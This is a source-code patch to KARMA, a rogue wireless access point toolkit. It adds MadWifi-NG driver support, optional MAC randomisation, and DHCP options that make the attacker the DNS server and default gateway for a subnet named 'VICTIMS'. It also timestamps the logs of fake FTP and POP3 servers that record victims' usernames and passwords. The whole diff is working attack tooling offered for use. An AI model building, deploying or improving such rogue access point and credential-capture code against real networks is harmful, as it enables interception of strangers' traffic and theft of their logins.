diff -ru ../../karma-20060124/bin/monitor-mode.sh ./bin/monitor-mode.sh
--- ../../karma-20060124/bin/monitor-mode.sh	2005-03-09 08:24:29.000000000 -0800
+++ ./bin/monitor-mode.sh	2006-09-10 21:20:18.000000000 -0700
@@ -1,18 +1,25 @@
 #!/bin/sh
 
 INTERFACE=$1
+WLANDEV=$2
 
 if [ $# -lt 1 ]; then
-    echo "usage: $0 <interface>"
+    echo "usage: $0 <interface> <wlandev>"
+	echo "       Add your wlandev for MadWifi-NG support"
     exit 1
 fi
 
 if [ "$OSTYPE" = "FreeBSD" ]; then
     ifconfig $INTERFACE down
     ifconfig $INTERFACE channel 1 mediaopt monitor up
+elif [ "$2fnord" -eq "fnord" ]; then
+    /sbin/ifconfig $INTERFACE down
+    /sbin/iwconfig $INTERFACE channel 1 mode monitor essid any
+    /sbin/ifconfig $INTERFACE up
 else
-    # Assuming MadWiFi because the other drivers suck
     /sbin/ifconfig $INTERFACE down
-    /usr/sbin/iwconfig $INTERFACE channel 1 mode monitor essid any
+	/sbin/wlanconfig $INTERFACE delete
+	/sbin/wlanconfig $INTERFACE create wlandev $WLANDEV mode monitor
+	/sbin/iwconfig $INTERFACE channel 1 mode monitor essid any
     /sbin/ifconfig $INTERFACE up
 fi
diff -ru ../../karma-20060124/etc/karma.xml ./etc/karma.xml
--- ../../karma-20060124/etc/karma.xml	2005-06-07 14:54:03.000000000 -0700
+++ ./etc/karma.xml	2006-09-10 20:44:02.000000000 -0700
@@ -14,6 +14,9 @@
   <!-- Configure modules -->
   <option module="ACCESS-POINT" name="ssid" value="karma"/>
   <option module="ACCESS-POINT" name="interface" value="ath0"/>
+  <option module="ACCESS-POINT" name="madwifi-ng" value="true"/>
+  <option module="DHCP-SERVER"  name="dns" value="true"/>
+  <option module="DHCP-SERVER"  name="defroute" value="true"/>
 
   <!-- Run modules -->
   <run module="ACCESS-POINT"/>
diff -ru ../../karma-20060124/modules/servers/AccessPoint/accesspoint.rb ./modules/servers/AccessPoint/accesspoint.rb
--- ../../karma-20060124/modules/servers/AccessPoint/accesspoint.rb	2006-01-24 20:59:08.000000000 -0800
+++ ./modules/servers/AccessPoint/accesspoint.rb	2006-09-10 21:37:38.000000000 -0700
@@ -21,11 +21,13 @@
         #
         # Assign a random MAC address (Good idea, sigtrap)
         #
-        rand_mac = sprintf("00:0%x:%.2x:%.2x:%.2x:%.2x",
-                           rand(16), rand(256), rand(256),
-                           rand(256), rand(256))
-        ifconfig_options = " hw ether " + rand_mac
-        ifconfig(ifconfig_options)
+		if @options['randmac']
+	        rand_mac = sprintf("00:0%x:%.2x:%.2x:%.2x:%.2x",
+    	                       rand(16), rand(256), rand(256),
+        	                   rand(256), rand(256))
+	        ifconfig_options = " hw ether " + rand_mac
+	        ifconfig(ifconfig_options)
+		end
 
         if (@options['cloaked'] == "true")
             iwpriv("hide_ssid 1")
@@ -49,11 +51,18 @@
             iwpriv("mode 1")
         end
             
-        iwconfig_options = "mode Master"
-        iwconfig_options += " nickname \"\""
-        iwconfig_options += " essid \"" + @options['ssid'] + "\""
-        iwconfig_options += " channel " + @options['channel']
-        iwconfig(iwconfig_options)
+		if @options['madwifi-ng']
+			wlanconfig_options = "destroy"
+			wlanconfig(wlanconfig_options)
+			wlanconfig_options = "create wlandev " + @options['wlandev'] + " wlanmode ap"
+			wlanconfig(wlanconfig_options)
+		else
+	        iwconfig_options = "mode Master"
+	        iwconfig_options += " nickname \"\""
+	        iwconfig_options += " essid \"" + @options['ssid'] + "\""
+	        iwconfig_options += " channel " + @options['channel']
+	        iwconfig(iwconfig_options)
+		end
 
         ifconfig_options = ""
         ifconfig_options += " inet " + @options['address']
@@ -72,7 +81,8 @@
                     case line
                     when /Expired node:([0-9A-F:]{17})/
                         mac = $1
-                        puts "AccessPoint: #{mac} disassociated\n"
+						curtime = Time.new
+                        puts "#{curtime} - AccessPoint: #{mac} disassociated\n"
                     end
                 }
             }
@@ -86,7 +96,8 @@
                     when /KARMA:.*\[(.*)\].*\["(.*)"\]/
 			mac = $1
 			ssid = $2
-			puts "AccessPoint: #{mac} associated with SSID #{ssid}\n"
+			curtime = Time.new
+			puts "#{curtime} - AccessPoint: #{mac} associated with SSID #{ssid}\n"
                     end
                 }
             }
@@ -99,7 +110,13 @@
 
         ifconfig("inet 0.0.0.0")
         ifconfig("down")
-        iwconfig("mode Managed")
+		if @options['madwifi-ng']
+			wlanconfig("destroy")
+			wlanconfig_options = "create wlandev " + @options['wlandev']
+			wlanconfig(wlanconfig_options)
+		else
+	        iwconfig("mode Managed")
+		end
     end
 
     def ifconfig(options)
@@ -114,6 +131,12 @@
         system(cmd)
     end
 
+    def wlanconfig(options)
+        cmd = @options['wlanconfig'] + " " + @options['interface'] + " " + 
+              options
+        system(cmd)
+    end
+
     def iwpriv(options)
         cmd = @options['iwpriv'] + " " + @options['interface'] + " " + 
               options
diff -ru ../../karma-20060124/modules/servers/AccessPoint/module.xml ./modules/servers/AccessPoint/module.xml
--- ../../karma-20060124/modules/servers/AccessPoint/module.xml	2006-01-24 20:59:08.000000000 -0800
+++ ./modules/servers/AccessPoint/module.xml	2006-09-10 21:22:11.000000000 -0700
@@ -17,14 +17,17 @@
 
   <!-- Command-line tool and file paths -->
   <option name="ifconfig"  value="/sbin/ifconfig"/>
-  <option name="iwconfig"  value="/usr/sbin/iwconfig"/>
-  <option name="iwpriv"    value="/usr/sbin/iwpriv"/>
-  <option name="iwevent"    value="/usr/sbin/iwevent"/>
+  <option name="iwconfig"  value="/sbin/iwconfig"/>
+  <option name="wlanconfig" value="/sbin/wlanconfig"/>
+  <option name="iwpriv"    value="/sbin/iwpriv"/>
+  <option name="iwevent"    value="/sbin/iwevent"/>
   <option name="messages"  value="/var/log/messages"/>
 
   <!-- Wireless options -->
   <option name="interface" value="ath0"/>
+  <option name="wlandev"   value="wifi0"/>
   <option name="radiomode" value="b"/>
+  <option name="randmac"   value="true"/>
   <option name="allssids"  value="true"/>
   <option name="cloaked"   value="true"/>
   <option name="auth"      value="open"/>
diff -ru ../../karma-20060124/modules/servers/DhcpServer/dhcp.rb ./modules/servers/DhcpServer/dhcp.rb
--- ../../karma-20060124/modules/servers/DhcpServer/dhcp.rb	2006-01-24 20:59:08.000000000 -0800
+++ ./modules/servers/DhcpServer/dhcp.rb	2006-09-10 20:58:02.000000000 -0700
@@ -73,14 +73,20 @@
 
         File.open(@config_file, "w") {|io|
             io.print "pid-file-name \"#{@pid_file}\";\n"
-            io.print "option domain-name-servers #{address};\n"
+			if @options['dns']
+	            io.print "option domain-name-servers #{address};\n"
+			end
             io.print "ddns-update-style ad-hoc;\n"
             io.print "authoritative;\n\n"
 
             io.print "shared-network VICTIMS {\n"
             io.print "  subnet #{subnet} netmask #{netmask} {\n"
-            io.print "    option routers #{address};\n"
-            io.print "    option domain-name-servers #{address};\n"
+			if @options['defroute']
+	            io.print "    option routers #{address};\n"
+			end
+			if @options['dns']
+	            io.print "    option domain-name-servers #{address};\n"
+			end
             io.print "    range #{dhcp_begin} #{dhcp_end};\n"
             io.print "  }\n"
             io.print "}\n"
@@ -108,14 +114,16 @@
                 when /DHCPDISCOVER from ([0-9a-f:]{17})/
                     mac = $1
 
-                    puts "DhcpServer: #{mac} discover"
+					curtime = Time.new
+                    puts "#{curtime} - DhcpServer: #{mac} discover"
 
                 when /DHCPACK on ([0-9.]+) to ([0-9a-f:]{17}) \((.*)\)/
                     ip = $1
                     mac = $2
                     client_id = $3
 
-                    puts "DhcpServer: #{mac} (#{client_id}) <- #{ip}"
+					curtime = Time.new
+                    puts "#{curtime} - DhcpServer: #{mac} (#{client_id}) <- #{ip}"
 
                 end
             }
diff -ru ../../karma-20060124/modules/servers/DhcpServer/module.xml ./modules/servers/DhcpServer/module.xml
--- ../../karma-20060124/modules/servers/DhcpServer/module.xml	2005-05-16 05:06:22.000000000 -0700
+++ ./modules/servers/DhcpServer/module.xml	2006-09-10 20:52:07.000000000 -0700
@@ -12,6 +12,8 @@
   </description>
 
   <option name="dhcpd" value="/usr/sbin/dhcpd"/>
+  <option name="dns"   value="true"/>
+  <option name="defroute" value="true"/>
   
   <!-- Zero or more module/symbol dependencies -->
   <requires id="NETWORK-INTERFACE"/>
diff -ru ../../karma-20060124/modules/servers/DnsServer/dns.rb ./modules/servers/DnsServer/dns.rb
--- ../../karma-20060124/modules/servers/DnsServer/dns.rb	2005-05-16 05:06:22.000000000 -0700
+++ ./modules/servers/DnsServer/dns.rb	2006-09-10 20:58:11.000000000 -0700
@@ -55,7 +55,8 @@
             # Debian 3.1: Static source port (32906) until timeout, 
             #  randomized IDs
             #
-            print "DNS: #{addr[3].to_s()}.#{addr[1].to_s()}: #{request.id.to_s()}"
+			curtime = Time.new
+            print "#{curtime} - DNS: #{addr[3].to_s()}.#{addr[1].to_s()}: #{request.id.to_s()}"
             request.each_question {|name, typeclass|
                 tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "")
                 
diff -ru ../../karma-20060124/modules/servers/FtpServer/ftp.rb ./modules/servers/FtpServer/ftp.rb
--- ../../karma-20060124/modules/servers/FtpServer/ftp.rb	2005-06-07 14:50:10.000000000 -0700
+++ ./modules/servers/FtpServer/ftp.rb	2006-09-10 20:58:22.000000000 -0700
@@ -55,7 +55,8 @@
             when /pass\s(.*)/i
                 pass = $1
                 
-                puts "FTP: #{ip} #{user}/#{pass}"
+				curtime = Time.new
+                puts "#{curtime} - FTP: #{ip} #{user}/#{pass}"
                 
                 io.print "500 Error\r\n"
                 
diff -ru ../../karma-20060124/modules/servers/Pop3Server/pop3.rb ./modules/servers/Pop3Server/pop3.rb
--- ../../karma-20060124/modules/servers/Pop3Server/pop3.rb	2005-06-07 14:50:31.000000000 -0700
+++ ./modules/servers/Pop3Server/pop3.rb	2006-09-10 21:31:53.000000000 -0700
@@ -55,7 +55,8 @@
             when /pass\s(.*)/i
                 pass = $1
                 
-                puts "POP3: #{ip} #{user}/#{pass}"
+		curtime = Time.new
+                puts "#{curtime} - POP3: #{ip} #{user}/#{pass}"
                 
                 io.print "-ERR\r\n"
                 

